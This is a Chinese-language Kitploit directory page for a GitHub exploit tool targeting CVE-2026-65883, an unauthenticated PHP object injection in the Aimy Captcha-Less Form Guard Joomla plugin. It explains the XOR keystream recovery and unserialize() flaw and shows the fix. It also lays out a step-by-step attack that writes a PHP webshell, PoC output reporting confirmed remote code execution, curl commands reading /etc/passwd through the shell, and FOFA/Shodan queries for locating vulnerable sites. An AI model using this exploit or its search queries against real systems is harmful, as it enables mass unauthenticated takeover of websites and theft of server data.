Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/shinthink/cve-2026-65883
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard Joomla 组件 PHP 对象注入 RCE。clfgd XOR 密钥流恢复 + unserialize()。CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

查看仓库
451个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

clfgd 字段 → XOR 恢复 → unserialize() → FormattedtextLogger → RCE


概述

Joomla 的 Aimy Captcha-Less Form Guard 中存在未认证的 PHP 对象注入漏洞。onCheckAnswer() 方法将攻击者控制的 clfgd POST 字段进行 base64 解码,经重复密钥 XOR 处理后,将结果直接传给 unserialize()——没有 HMAC、没有 allowed_classes 限制、也没有完整性校验。


受影响版本

状态版本
存在漏洞18.0 — 20.0
已修复20.1(2026年7月29日)

漏洞机制

根本原因

plg_captcha_aimycaptchalessformguard 中的 onCheckAnswer() 方法将攻击者控制的输入直接传递给 unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

这种 XOR“加密”是一种使用每会话密钥的维吉尼亚密码——没有认证,仅仅是混淆。

失效的加密

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

密钥流恢复

该插件在同一 HTML 响应中同时输出密文和明文:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

由于 trap_ids(可从 <span id="..._mark"> 和蜜罐输入中提取)与密文都位于 HTML 中,将它们进行 XOR 运算即可恢复 231 字节密钥流中的约 94 字节。

攻击流程

  1. GET 任意受验证码保护的表单(注册、登录、联系、密码重置)
  2. 提取 clfgd 密文 + trap_ids + 时间信息 → 恢复 94 字节密钥流
  3. 对齐 FormattedtextLogger 序列化对象,使结构字节落在已知的密钥流位置上
  4. POST 精心构造的 clfgd → unserialize() → __destruct() → formatLine() → 写入 PHP webshell
  5. GET /random.php?c=id → 以 www-data 身份实现 RCE

概念验证

单目标利用

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

手动利用

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

修复方案(20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() 无法实例化 PHP 对象——POP gadget 链被彻底切断。


影响

  • 完整 RCE — 以 www-data 身份执行任意命令
  • 无需认证 — 任何带验证码的公开表单都是攻击入口
  • Joomla 3.9–5.2.1 — FormattedtextLogger gadget 适用于所有版本
  • 持久化 — webshell 持续存在,直到被手动删除

免责声明

本工具仅用于教育和授权安全测试。请仅对您拥有或已获得明确测试许可的系统使用。


参考资料


与 Aimy Extensions 或 VulnCheck 无任何关联。

下载工具
字段详情
CVECVE-2026-65883
产品Aimy Captcha-Less Form Guard(Joomla 插件)
CVSS 4.010.0(严重)
类型CWE-502 — 不可信数据反序列化
受影响范围18.0 — 20.0
修复版本20.1(2026年7月29日)
发现Valentin Lobstein(Chocapikk)/ VulnCheck — 2026年7月26日
资源链接
VulnCheck 博客vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX 威胁中心ionix.io/threat-center/cve-2026-65883
CVE 记录cve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883